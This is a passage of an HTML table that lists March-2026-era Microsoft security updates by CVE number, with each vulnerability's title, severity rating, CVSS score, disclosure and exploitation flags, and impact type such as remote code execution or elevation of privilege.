  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
